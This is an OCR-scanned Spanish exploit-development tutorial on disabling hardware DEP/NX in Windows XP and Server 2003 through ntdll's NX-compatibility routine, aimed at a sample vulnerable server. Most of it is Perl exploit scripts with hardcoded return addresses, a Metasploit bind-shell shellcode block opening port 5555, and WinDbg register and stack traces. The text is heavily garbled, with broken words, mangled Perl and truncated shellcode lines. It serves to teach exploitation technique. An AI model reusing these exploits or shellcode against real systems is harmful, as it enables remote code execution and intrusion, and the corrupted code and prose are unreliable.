eax=0012e701 ebx=00000000 ecx=0012e565 edx=0012e700 esi=00000002
edi=00403388

eip=7c94153e esp=0012e26¢c ebp=41414141 iopl=0 nv up ei pl zr

na pe nc
¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000
efl=00010246

ntdll!LdrpCheckNXCompatibility+0x1a:

7094153e 8975fc mov  dword ptr [ebp-4],

Correcto - El intento de escribir en EBP-4 (4141444= 4141413d) ha
fallado. Asi que tenemos que ajustar el valor d@ BBtes de comenzar la
ejecucion de las rutinas para deshabilitar NX. Pereerlo, tenemos que
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encontrar una direccion que pondra algo util en BHBRIriamos apuntar a
una direccion de EBP en la pila, que trabajar4 paracenar la variable
temporal. Pero la instruccién LEAVE gue se ejeclgspués de desactivar
NX tomard EBP y lo pondra en ESP que arruinara trudsuffer (y
apuntara nuestra pila a otro lugar). Un enfoqueoregria apuntar EBP a
un lugar cercano a nuestra pila.

Las instrucciones siguientes funcionaria:

- push esp/pop ebp/ret.

- mov esp,ebp/ret.

- etc

Una vez mas, pvefindaddr hara las cosas mas faciles

Asi que en lugar de iniciar la primera fase (podeeEAX a 1), primero
vamos a ajustar EBP, asegurate de que retorneromster (instruccion
ret), y luego vamos a empezar la rutina.

RET (EIP guardado) es sobrescrito después de 5@8.b&hora vamos a
poner la direccidon para realizar el ajuste dellgm ese lugar, seguido por
las restantes lineas de cédigo:

strict;
Socket;
$junk =" A" x 508;

$disabledep = ('V',0x77eedc70); #adjust EBP
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$disabledep = $disabledep. ('V',0x7c95371a); #seteaxto 1
$disabledep = $disabledep. ('V',0x7c91cd44); #run NX Disable
routine
$disabledep = $disabledep." CCCC;
$disabledep = $disabledep.(" D' x 54);
$disabledep = $disabledep.(" EEEE);

$shellcode="  F" x 700;

# initialize host and port
$host = || 'localhost’;
$port = [| 200;
$proto = ('tep’);

# get the port address
$iaddr = inet_aton($host);
$paddr = sockaddr_in($port, $|addr)
[+] Setting up socket\n
# create the to the port
(SOCKET PF_ INET SOCK_STREAM, $proto) or " socket: $!
" [+] Connecting to $host on port $port\n "
(SOCKET, $paddr) or " connect: $!
" [+] Sending payload\n h
$payload = $junk. $d|sabledep $shel|code \n "
SOCKET $payload.” \n"
" [+] Payload sent, ($payload)." bytes\n
SOCKET or " close: ! "

Después de ejecutar este cddigo, se obtiene lesigu

(bac.1148): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exc eption handling.
This exception may be expected and handled.

eax=0012e701 ebx=00000000 ecx=0012e569 edx=0012e700 esi=00000001
edi=00403388

eip=43434343 esp=0012e274 ebp=0012e264 iopl=0 nv up ei pl zr
na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00010246

43434343 ?7? ???

iBingo! NX ha sido desactivado, los puntos de Hifmaeestras C’s, y los
puntos de ESP en:

0:000> d esp

0012e274 44 44 44 44 44 44 A4 A4-44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0012e284 44 44 44 44 44 44 44 A4-44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0012e294 44 44 44 44 44 44 44 A4-44 A4 44 44 44 44 DDDDDDDDDDDDDDDD
0012e2a4 44 44 45 45 45 45 46 46-46 46 46 46 46 46 DDEEEEFFFFFFFFFF

0012e2b4 46 46 46 46 46 46 46 46-46 46 46 46 46 46 FFFFFFFFFFFFFFFF
0012e2c4 46 46 46 46 46 46 46 46-46 46 46 46 46 46 FFFFFFFFFFFFFFFF
0012e2d4 46 46 46 46 46 46 46 46-46 46 46 46 46 46 FFFFFFFFFFFFFFFF
0012e2e4 46 46 46 46 46 46 46 46-46 46 46 46 46 46 FFFFFFFFFFFFFFFF
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Exploit final:

strict;
Socket;
$junk =" A" x 508;

$disabledep = ('V',0x77eedc70); #adjust EBP
$disabledep = $disabledep. ('V',0x7c95371a); #seteaxto 1l
$disabledep = $disabledep. ('V',0x7c91cd44); #run NX Disable
routine
$disabledep = $disabledep. ('V',0x7e47bcaf); #jmp esp (user32.dll)

$nops =" \x90 " x 30;

# windows/shell_bind_tcp - 702 bytes

# http:  //www.metasploit.com

# Encoder: x86/alpha_upper

# EXITFUNC=seh, LPORT=5555, RHOST=

$shellcode="  \x89\xe0\xd9\xd0\xd9\x70\xf4\x59\x49\x49\x49\x49\x4 9\x43 "

" \x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x5
"\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x4
"\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x4
"\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4
"\x4a\x4b\x50\x4d\x4d\x38\x4c\x39\x4b\x4f\x4b\x4f\x4
"\x45\x30\x4c\x4b\x42\x4c\x51\x34\x51\x34\x4c\x4b\x4
"\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x44\x38\x45\x51\x4
"\x4c\x4b\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x4 7\x50\x4
"\x4a\x4b\x47\x39\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4
"\x50\x31\x49\x50\x4a\x39\x4e\x4c\x4c\x44\x49\x50\x4
"\x45\x57\x49\x51\x48\x4a\x44\x4d\x45\x51\x48\x42\x4
"\x4c\x34\x47\x4b\x46\x34\x46\x44\x51\x38\x42\x55\x4
"\x4c\x4b\x51\x4f\x51\x34\x43\x31\x4a\x4b\x43\x56\x4
"\x44\x4c\x50\x4b\x4c\x4b\x51\x4\x45\x4c\x43\x31\x4
" \x44\x43\x46\x4c\x4c\x4b\x4b\x39\x42\x4c\x51\x34\x4
"\x45\x31\x49\x53\x46\x51\x49\x4b\x43\x54\x4c\x4b\x5
"\x50\x30\x4c\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\x4
"\x4e\x4d\x4c\x4b\x51\x50\x44\x48\x51\x4e\x43\x58\x4
"\x50\x4e\x44\x4e\x4a\x4c\x46\x30\x4b\x4f\x4e\x36\x4
"\x51\x43\x42\x46\x4 3\x58\x46\x53\x4 7\x42\x45\x38\x4
"\x44\x33\x46\x52\x51\x4f\x46\x34\x4b\x4f\x48\x50\x4
"\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x46\x30\x4b\x4f\x4
"\x51\x4f\x4c\x49\x4d\x35\x43\x56\x4b\x31\x4a\x4d\x4
"\x44\x42\x46\x35\x43\x5a\x43\x32\x4b\x4f\x4e\x30\x4
"\x48\x59\x45\x59\x4a\x55\x4e\x4d\x51\x4 7\x4b\x4f\x4
"\x51\x43\x50\x53\x50\x53\x46\x33\x46\x33\x51\x53\x5
"\x47\x33\x46\x33\x4b\x4f\x4e\x30\x42\x46\x42\x48\x4
" \x4e\x53\x45\x36\x50\x53\x4b\x39\x4b\x51\x4c\x55\x4
"\x4e\x44\x45\x4a\x44\x30\x49\x57\x46\x37\x4b\x4f\x4
"\x42\x4a\x44\x50\x50\x51\x50\x55\x4b\x4f\x48\x50\x4
"\x49\x34\x4e\x4d\x46\x4e\x4a\x49\x50\x57\x4b\x4f\x4
"\x46\x33\x50\x55\x4b\x4f\x4e\x30\x42\x48\x4d\x35\x5
"\x4c\x46\x51\x59\x51\x4 7\x4b\x4f\x49\x46\x46\x30\x5
"\x46\x34\x50\x55\x4b\x4f\x48\x50\x4a\x33\x43\x58\x4
"\x43\x49\x48\x46\x44\x39\x51\x4 7\x4b\x4f\x4e\x36\x4
"\x4b\x4f\x48\x50\x43\x56\x43\x5a\x45\x34\x42\x46\x4
"\x43\x53\x42\x4d\x4b\x39\x4a\x45\x42\x4a\x50\x50\x5
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"\x47\x59\x48\x4c\x4b\x39\x4d\x37\x42\x4a\x47\x34\x4
"\x4b\x52\x46\x51\x49\x50\x4b\x43\x4e\x4a\x4b\x4e\x4
"\x46\x4d\x4b\x4e\x50\x42\x46\x4c\x4d\x43\x4c\x4d\x4
" \x46\x58\x4e\x4b\x4e\x4b\x4e\x4b\x43\x58\x4 3\x42\x4
" \x48\x33\x42\x36\x4b\x4f\x4 3\x45\x51\x54\x4b\x4f\x4
"\x51\x4b\x46\x37\x50\x52\x50\x51\x50\x51\x50\x51\x4
" \x45\x51\x46\x31\x50\x51\x51\x45\x50\x51\x4b\x4f\x4
"\x43\x58\x4e\x4d\x49\x49\x44\x45\x48\x4e\x46\x33\x4
" \x48\x56\x43\x5a\x4b\x4f\x4b\x4f\x50\x37\x4b\x4f\x4
"\x4c\x4b\x51\x4 7\x4b\x4c\x4b\x33\x49\x54\x42\x44\x4
"\x48\x56\x51\x42\x4b\x4f\x48\x50\x43\x58\x4a\x50\x4
" \x43\x34\x51\x4f\x50\x53\x4b\x4f\x4e\x36\x4b\x4f\x4
"\x41\x41

# initialize host and port
$host = || 'localhost’;

$port = [| 200;
$proto = (‘tcp?);
# get the port address
$iaddr = inet_aton($host);
$paddr = sockaddr_in($port, $iaddr);
" [+] Setting up socket\n "
# create the ) to the port
(SOCKET, PF_INET, SOCK_STREAM, $proto) or " socket: $!
" [+] Connecting to $host on port $port\n
(SOCKET, $paddr) or " connect: $!
" [+] Sending payload\n "
$payload = $junk.$disabledep.$nops.$shellcode.” \n ";
SOCKET $payload.” \n";
" [+] Payload sent, ($payload)." bytes\n
SOCKET or " close: $! ;
(‘telnet ".$host.' 5555");

Ten en cuenta que el exploit funcionara, inclush>si/ HW DEP no esta
habilitada.

Deshabilitando HW DEP (Windows 2003 SP2): demonstcaon

En Windows 2003 SP2, algunos controles adiciorsdesiaden (CMP AL
y EBP contra ESI vs EBP), que nos obliga a camiigstra técnica solo
un poco. El resultado es que tenemos que apumiar &aEBP y ESI a las
direcciones de escritura para que el exploit fumeio

En Windows Server 2003 R2 Standard SP2, Inglésuraion de ntdll
LdrpCheckNXCompatibility se parece a esto:

0:000> uf ntdll!LdrpCheckNXCompatibility
ntdll!LdrpCheckNXCompatibility:
7c8343b4 8bff mov  edi,edi

7c8343b6 55 ebp
7c8343b7 8bec mov  ebp,esp
7c8343h9 51
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7c8343ba 833db4a9887c00 cmp  dword ptr

[ntdll!Kernel32BaseQueryModuleData (7c88a9b4)],0

7c8343cl 7441 je  ntdlllLdrpCheckNXC ompatibility+0x5f
(7c834404)

ntdll!LdrpCheckNXCompatibility+0xf:

7c8343c3 8365fc00 and dword ptr [ebp-4], 0]

7c8343c7 56 esi

7c8343c8 8b7508 mov  esi,dword ptr [ebp +8]

7c8343ch 56 esi

7c8343cc €899510000 call ntdll'LdrpCheckSaf eDiscDII (7c83956a)
7c8343d1 3c01 cmp all

7c8343d3 0f846eb10000 je  ntdll!lLdrpCheckNXC ompatibility+0x2b
(7c83f547)

ntdll!LdrpCheckNXCompatibility+0x21.:

7c8343d9 56 esi

7c8343da €8e4520000 call ntdll'lLdrpCheckApp Database (7¢c8396c3)
7c8343df 84c0 test al,al

7c8343el 0f8560b10000 jne ntdll'LdrpCheckNXC ompatibility+0x2b
(7c83f547)

ntdll!LdrpCheckNXCompatibility+0x34:

7c8343e7 56 esi

7c8343e8 €8e4510000  call

ntdll!LdrpCheckNxIncompatibleDIISection (7c8395d1)

7c8343ed 84c0 test alal

7c8343ef 0f85272c0100 jne ntdll!LdrpCheckNXC ompatibility+0x3e
(7c84701c)

ntdll!LdrpCheckNXCompatibility+0x45:

7c8343f9 0f854fb10000 jne ntdll!ILdrpCheckNXC ompatibility+0x4b
(7c83f54e)

ntdll!LdrpCheckNXCompatibility+0x5a:
7c834403 5e

ntdll!LdrpCheckNXCompatibility+0x5f:
7c834404 c9 leave
7c834405 c20400 ret 4

ntdll!LdrpCheckNXCompatibility+0x2b:
7c83f547 c745fc02000000 mov  dword ptr [ebp-4],
<Unloaded_elp.dlI>+0x1 (00000002)

ntdll!LdrpCheckNXCompatibility+0x4b:

7c83f54e 6a04 4

7c83f550 8d45fc lea eax,[ebp-4]

7c83f553 50 eax

7c83f554 6a22 22h

7c83f556 6aff OFFFFFFFFh

7c83f558 e80085feff  call ntdll'ZwSetinforma tionProcess
(7c827a5d)

7c83f55d e99d4effff  jmp  ntdll!LdrpCheckNXC ompatibility+0x5a
(7c8343ff)

ntdll!LdrpCheckNXCompatibility+0x3e:
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7¢84701c c745fc02000000 mov  dword ptr [ebp-4],
<Unloaded_elp.dlI>+0x1 (00000002)

7c847023 e9cdd3feff  jmp  ntdll!LdrpCheckNXC ompatibility+0x45
(7c8343f5)

Por lo tanto, el valor en [ebp-4] es comparadosalto se hace a 7¢8354,
seguido por la llamada a ZwSetInformationProces9¥& c827a5d).

ntdll!LdrpCheckNXCompatibility+0x4b:

7c83f54e 6a04 4

7¢c83f550 8d45fc lea eax,[ebp-4]

7c83f553 50 eax

7c83f554 6a22 22h

7c83f556 6aff OFFFFFFFFh

7c83f558 e80085feff  call ntdll'ZwSetinforma tionProcess
(7c827a5d)

7c83f55d e99d4effff  jmp  ntdll!LdrpCheckNXC ompatibility+0x5a
(7c8343ff)

7c83f562 0fb6fd movzx edi,ch

0:000> u 7c827a5d
ntdll!ZwSetInformationProcess:

7¢827a5d b8ed000000 mov  eax,0EDh
7¢c827a62 ba0003fe7f mov edx,
SharedUserData!SystemCallStub (7ffe0300)
7c827a67 ff12 call dword ptr [edx]
7¢827a69 c21000 ret 10h

7c827a6¢ 90 nop
ntdll!NtSetInformationThread:

7c827a6d b8ee000000 mov eax,0EEh
7c827a72 ba0003fe7f mov  edx,
SharedUserData!SystemCallStub (7ffe0300)
7c827a77 ff12 call dword ptr [edXx]

Después de ejecutar esta rutina, retornara de rauvtuncion de llamada,
llegando a 0x7c8343ff.

Ahi es donde se utiliza ESI. Si la instruccion aesjecutado, ESI se extrae
(se POPe®), y comienza el epilogo de la funcion.

Ya hemos aprendido a modificar el contenido de ERIP lo que apuntaria

a un lugar util para escribir), ahora tenemos caeehlo mismo con ESI.
Ademas de eso, realmente tenemos que revisanasas instrucciones y
ver el contenido de los registros aqui. Una dectasas a notar, al usar
nuestra aplicacionulnsrv.exe de ejemplo, es que todo lo que se pone en
ESI, se utilizara para saltar mas adelante.

Vamos a ver qué pasa con el siguiente codigo diexptilizando los
siguientes 2 direcciones para ajustar ES| y EBP.
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- 0x71c0db30 : ajusta ESI (push esp, pop esi, ret).

- Ox77c177f8 : ajusta EBP (push esp, pop ebp, ret).

0
_READ!
—RERADY n thread, module WS,

FTR DS:[ECH+C]

71CEDAST

$junk =" A" x 508;

$disabledep = ('V',0x71c0db30); #adjust esi
$disabledep = $disabledep. ('V',0x77c177f8); # adjust ebp
$disabledep = $disabledep. ('V',0x7c86311d); #seteaxto 1
$disabledep=$disabledep." FFFF"; #4 bytes padding
$disabledep = $disabledep. ('V',0x7c8343f5); #run NX Disable
routine
$disabledep = $disabledep." FFFF"; #4 more bytes padding
$disabledep = $disabledep. ('V',0x773ebdff); #jmp esp (user32.dll)

$nops =" \x90 " x 30;
$shellcode=" \xcc " x 700;

# initialize host and port
$host = || 'localhost’;
$port = [| 200;
$proto = ('tcp’);
# get the port address
$iaddr = inet_aton($host);
$paddr = sockaddr_in($port, $iaddr);
" [+] Setting up socket\n ;
# create the , to the port
(SOCKET, PF_INET, SOCK_STREAM, $proto) or " socket: $!
" [+] Connecting to $host on port $port\n ;
(SOCKET, $paddr) or " connect: $! "
" [+] Sending payload\n "
$payload = $junk.$disabledep.$nops.$shellcode." \n ";
SOCKET $payload." \n";
" [+] Payload sent,
SOCKET or " close: $!
(‘telnet ".$host.' 5555");

($payload)." bytes\n "
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Abre vulnsrv.exe en WinDbg, y pon BP en 0x7c834@Ffara que pare
cuando la rutina NX Disable sea llamada). Entonegs;uta vulnsrv (tal
vez tengas que presionar F5 un par de veces) ytajesl codigo de exploit
en el servidor y ver qué pasa:

Vemos cuando para en el BP:

Breakpoint O hit
eax=0012e70 @ ebx=00000000 ecx=0012e559 edx=0012e700

edi=00403388
eip=7c8343f5 esp=0012e274 iopl=0 nv up ei pl zr
na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000 0]
efl=00000246

ntdll!LdrpCheckNXCompatibility+0x45:

7c8343f5 837dfc00 cmp  dword ptr [ebp-4],
$5:0023:0012e264=0012e268

Registros: tanto ESI y EBP apuntan ahora a un logiaa de la pila. El bit
mas bajo de EAX contiene 1, asi que eso es unecaicidn de que ‘MOV
AL, 1’ funcioné.

Ahora traza las instrucciones el comando "t":

0:000> t

eax=0012e701 ebx=00000000 ecx=0012e559 edx=0012e700 esi=0012e264
edi=00403388

eip=7c8343f9 esp=0012e274 ebp=0012e268 iopl=0 nv up ei pl nz
na po nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00000202

ntdll!LdrpCheckNXCompatibility+0x49:

7c8343f9 0f854fb10000 jne ntdll!LdrpCheckNXC ompatibility+0x4b
(7c83f54¢€) [br=1]

0:000> t

eax=0012e701 ebx=00000000 ecx=0012e559 edx=0012e700 esi=0012e264
edi=00403388

eip=7c83f54e esp=0012e274 ebp=0012e268 iopl=0 nv up ei pl nz

na po nc
¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000
efl=00000202

ntdll!LdrpCheckNXCompatibility+0x4b:

7c83f54e 6a04 4

0:000> t

eax=0012e701 ebx=00000000 ecx=0012e559 edx=0012e700 esi=0012e264
edi=00403388

eip=7c83f550 esp=0012e270 ebp=0012e268 iopl=0 nv up ei pl nz
na po nc

¢cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00000202

ntdll!LdrpCheckNXCompatibility+0x4d:

7¢83f550 8d45fc lea eax,[ebp-4]
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0:000> t

eax=0012e264 ebx=00000000 ecx=0012e559 edx=0012e700
edi=00403388

eip=7c83f553 esp=0012e270 ebp=0012e268 iopl=0

na po nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000
efl=00000202

ntdll!LdrpCheckNXCompatibility+0x50:

7c¢83f553 50 eax

0:000> t

eax=0012e264 ebx=00000000 ecx=0012e559 edx=0012e700
edi=00403388

eip=7c83f554 esp=0012e26¢c ebp=0012e268 iopl=0

na po nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000
efl=00000202

ntdll!LdrpCheckNXCompatibility+0x51:

7c83f554 6a22 22h

0:000> t

eax=0012e264 ebx=00000000 ecx=0012e559 edx=0012e700
edi=00403388

eip=7c83f556 esp=0012e268 ebp=0012e268 iopl=0

na po nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000
efl=00000202
ntdll!LdrpCheckNXCompatibility+0x53:
7c83f556 6aff

0:000> t

eax=0012e264 ebx=00000000 ecx=0012e559 edx=0012e700
edi=00403388

eip=7c83f558 esp=0012e264 ebp=0012e268 iopl=0

na po nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000
efl=00000202

ntdll!LdrpCheckNXCompatibility+0x55:

7c83f558 e80085feff  call ntdll'ZwSetInforma

(7c827abd)

0:000> t

eax=0012e264 ebx=00000000 ecx=0012e559 edx=0012e700
edi=00403388

eip=7c827a5d esp=0012e260 ebp=0012e268 iopl=0

na po nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000
efl=00000202

ntdll'ZwSetInformationProcess:

7c827abd b8ed000000 mov  eax,0EDh

0:000> t

eax=000000ed ebx=00000000 ecx=0012e559 edx=0012e700
edi=00403388

eip=7c827a62 esp=0012e260 ebp=0012e268 iopl=0

na po nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000
efl=00000202

ntdll!NtSetinformationProcess+0x5:

7c827a62 ba0003fe7f mov  edx,
SharedUserData!SystemCallStub (7ffe0300)

0:000> t

eax=000000ed ebx=00000000 ecx=0012e559 edx=7ffe0300
edi=00403388

OFFFFFFFFh

esi=0012e264

nv up ei pl nz

esi=0012e264

nv up ei pl nz

esi=0012e264

nv up ei pl nz

esi=0012e264

nv up ei pl nz

tionProcess

esi=0012e264

nv up ei pl nz

esi=0012e264

nv up ei pl nz

esi=0012e264
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eip=7c827a67 esp=0012e260 ebp=0012e268 iopl=0

na po nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000
efl=00000202

ntdll!NtSetinformationProcess+0xa:

7c827a67 ff12 call dword ptr [edx]
ds:0023:7ffe0300={ntdll'KiFastSystemCall (7c828608)
0:000> t

eax=000000ed ebx=00000000 ecx=0012e559 edx=7ffe0300
edi=00403388

eip=7c828608 esp=0012e25c ebp=0012e268 iopl=0

na po nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000
efl=00000202

ntdll!KiFastSystemCall:

7c828608 8bd4 mov  edx,esp

0:000> t

eax=000000ed ebx=00000000 ecx=0012e559 edx=0012e25c
edi=00403388

eip=7c82860a esp=0012e25c ebp=0012e268 iopl=0

na po nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000
efl=00000202

ntdll!KiFastSystemCall+0x2:

7c82860a 0f34 sysenter

0:000> t

eax=c000000d ebx=00000000 ecx=00000001 edx=ffffffff
edi=00403388

eip=7c827a69 esp=0012e260 ebp=0012e268 iopl=0

na po nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000
efl=00000202

ntdll!NtSetinformationProcess+0xc:

7c827a69 c21000 ret 10h

0:000> t

eax=c000000d ebx=00000000 ecx=00000001 edx=ffffffff
edi=00403388

eip=7c83f55d esp=0012e274 ebp=0012e268 iopl=0

na po nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000
efl=00000202

ntdll!LdrpCheckNXCompatibility+0x5a:

7c83f55d e99d4effff  jmp  ntdll!LdrpCheckNXC
(7c8343ff)

0:000> t

eax=c000000d ebx=00000000 ecx=00000001 edx=ffffffff
edi=00403388

eip=7c8343ff esp=0012e274 ebp=0012e268 iopl=0

na po nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000
efl=00000202

ntdll!LdrpCheckNXCompatibility+0x5a:

7c8343ff 804e3780 or  byte ptr [esi+37h]
ds:0023:0012e29b=cc

0:000> t

eax=c000000d ebx=00000000 ecx=00000001 edx=ffffffff
edi=00403388

eip=7c834403 esp=0012e274 ebp=0012e268 iopl=0

na pe nc

nv up ei pl nz

}

esi=0012e264

nv up ei pl nz

esi=0012e264

nv up ei pl nz

esi=0012e264

nv up ei pl nz

esi=0012e264

nv up ei pl nz

ompatibility+0x5a

esi=0012e264

nv up ei pl nz

,80h

esi=0012e264

nv up ei ng nz
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¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00000286

ntdll!LdrpCheckNXCompatibility+0x5e:

7c834403 5e esi

0:000> t

eax=c000000d ebx=00000000 ecx=00000001 edx=ffffffff esi=46464646
edi=00403388

eip=7c834404 esp=0012e278 ebp=0012e268 iopl=0 nv up ei ng nz
na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00000286

ntdll!LdrpCheckNXCompatibility+0x5f:

7c834404 c9 leave

0:000> t
eax=c000000d ebx=00000000 ecx=00000001 edx=ffffffff esi=46464646

edi=00403388

eip=7c834405 esp=0012e26¢c ebp=00000022 iopl=0 nv up ei ng nz
na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00000286

ntdll!LdrpCheckNXCompatibility+0x60:

7c834405 c20400 ret 4

0:000> t

eax=c000000d ebx=00000000 ecx=00000001 edx=ffffffff esi=46464646
edi=00403388

eip=0012e264 esp=0012e274 ebp=00000022 iopl=0 nv up ei ng nz
na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00000286

0012e264 ff ?2??

Ok, lo que vemos es lo siguiente: cuando la funaiétorna, el valor
original de ESI (0x0012e264) se coloca en EIP.

Si nos fijamos en EIP, vemos ff ff ff ff (Qque es KD

0:000> d eip
00}2e264 ff ff ff ff 22 00 00 00-64 e2 12 00 04 00
h12eova
90 90 90 90 90 90 90 90-90 90 90 90 90 90
90 90 90 90 90 90 cc cc-cc cc cC cC cC cC

gcccccececeeccececceecceeccecec-cceecceeccecceccc

gccceccececcecececcecceccecec-ccececceccecceccc

ccceccececcecececcecceccec-ccececceccecceccec

gcccccececceeccececceecceeccecec-cceecceeccecceccc
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Nuestra Shellcode no esta tan lejos. OK, vamogyarjoon ESI y EBP.
En primer lugar, vamos a cambiar las direccionea ppistar EBX y ESI.
Asi que primero ajusta EBP y ESI.

strict;
Socket;
$junk =" A" x 508;
$disabledep = ('V',0x77c177f8); #adjust ebp
$disabledep = $disabledep. ('V',0x71c0db30); #adjust esi
$disabledep = $disabledep. ('V',0x7c86311d); #seteaxto 1
$disabledep= $disabledep." efefe]¢
$disabledep = $disabledep. ('V',0x7c8343f5); #run NX Disable
routine
$disabledep = $disabledep." HHHH; #padding
$disabledep = $disabledep. ('V',0x773ebdff); #jmp esp (user32.dll)

$nops =" \x90 " x 30;
$shellcode=" \xcc " x 700;

# initialize host and port
$host = | 'localhost’;
$port = [| 200;
$proto = ('tep’);
# get the port address
$iaddr = inet_aton($host);
$paddr = sockaddr_in($port, $iaddr);
" [+] Setting up socket\n i
# create the , to the port
(SOCKET, PF_INET, SOCK_STREAM, $proto) or " socket: $!
" [+] Connecting to $host on port $port\n
(SOCKET, $paddr) or " connect: $!
" [+] Sending payload\n h
$payload = $junk.$disabledep.$nops.$shellcode." \n ";
SOCKET $payload." \n";
" [+] Payload sent, ($payload)." bytes\n *;
SOCKET or " close: $! "
(‘telnet ".$host.' 5555);

(a50.a70): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exc eption handling.
This exception may be expected and handled.

eax=0012e761 ebx=00000000 ecx=0012e559 edx=0012e700 esi=0012e26¢
edi=00403388

eip=47474747 esp=0012e270 ebp=0012e264 iopl=0 nv up ei pl zr
na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00010246

47474747 ?7? ???

Esto se ve mucho mejor. EIP ahora contiene 47474%4G6GGG) Ni
siquiera necesita el JIMP ESP (que todavia estabhagligo de la version
XP del exploit), o los NOP’S, o el HHHH de 4 bytesleno).
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ESP contiene:

0:000> d esp

0012e270 543 83 7c 48 48 48 48-ff bd 3e 77 90 90
.C.|HHHH..>w....

0012e280 90 90 90 90 90 90 90 90-90 90 90 90 90 90

90 90 90 90 90 90 90 90-90 90 cc cc cc cc

gcccccececceeccececceecceeccecec-ccececceeccecceccc

gccceccececcececceccecceccecec-ccececceccecceccc

ccceccececcecececcecceeccec-ccececceccecceccec

gcccccececeeccececceecceeccecec-cceecceeccecceccc

gccceccececcecececcecceccecec-ccececceccecceccc

Hay varias maneras de llegar a nuestra ShellcodeaaMira los otros
registros. Veras, por ejemplo, que EDX apunta aO06700, que se
encuentra casi al final de la Shellcode. Asi quausieramos saltar a edx,
poner algun salto atras en ese lugar y deberigoiuaic

aa R Nun NagNd) | I

pvefindaddr j edx
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Jmp edx (user32.dll): 0x773eb603. Después de halgemos calculos,
podemos construir un buffer de esta manera:

[jmp edx][10 NOP’s][shellcode][mas NOP’s hasta E[3Xlto atras].

Si queremos tener algo de espacio para la Shellpmdkemos poner 500
NOP’S después de la Shellcode. EDX entonces apuat&x0012e900,
gue se encuentra en algun lugar alrededor de 1imso8l 50 de estos 500
NOP’S. Asi que si ponemos jumpcode después de derd80 NOP’'S, y
hacemos que el jumpcode regrese a los NOP’S aetda 8hellcode,
debemos tener un ganador.

strict;
Socket;
$junk =" A" x 508;
$disabledep = ('V',0x77c177f8); #adjust ebp
$disabledep = $disabledep. ('V',0x71c0db30); #adjust esi
$disabledep = $disabledep. ('V',0x7c86311d); #seteaxto 1
$disabledep= $disabledep. ('V',0x773eb603); #mp edx user32.dll
$disabledep = $disabledep. ('V',0x7c8343f5); #run NX Disable
routine

$nopsl =" \x90 "x 10;
# windows/shell_bind_tcp - 702 bytes
# http: ~ //www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, LPORT=5555, RHOST=

$shellcode="  \x89\xe0\xd9\xd0\xd9\x70\xf4\x59\x49\x49\x49\x49\x4

"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x5
"\x34\x41\x50\x30\x41\x33\x48\x48\x30\x4 1\x30\x30\x4
"\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x4
"\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4
" \x4a\x4b\x50\x4d\x4d\x38\x4c\x39\x4b\x4f\x4b\x4f\x4
"\x45\x30\x4c\x4b\x42\x4c\x51\x34\x51\x34\x4c\x4b\x4
"\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x44\x38\x45\x51\x4
"\x4c\x4b\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x4 7\x50\x4
"\x4a\x4b\x47\x39\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4
"\x50\x31\x49\x50\x4a\x39\x4e\x4c\x4c\x44\x49\x50\x4
"\x45\x57\x49\x51\x48\x4a\x44\x4d\x45\x51\x48\x42\x4
"\x4c\x34\x47\x4b\x46\x34\x46\x44\x51\x38\x42\x55\x4
"\x4c\x4b\x51\x4f\x51\x34\x43\x31\x4a\x4b\x43\x56\x4
"\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4
"\x44\x43\x46\x4c\x4c\x4b\x4b\x39\x42\x4c\x51\x34\x4
"\x45\x31\x49\x53\x46\x51\x49\x4b\x4 3\x54\x4c\x4b\x5
"\x50\x30\x4c\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\x4
"\x4e\x4d\x4c\x4b\x51\x50\x44\x48\x51\x4e\x43\x58\x4
"\x50\x4e\x44\x4e\x4a\x4c\x46\x30\x4b\x4f\x4e\x36\x4
"\x51\x43\x42\x46\x43\x58\x46\x53\x4 7\x42\x45\x38\x4
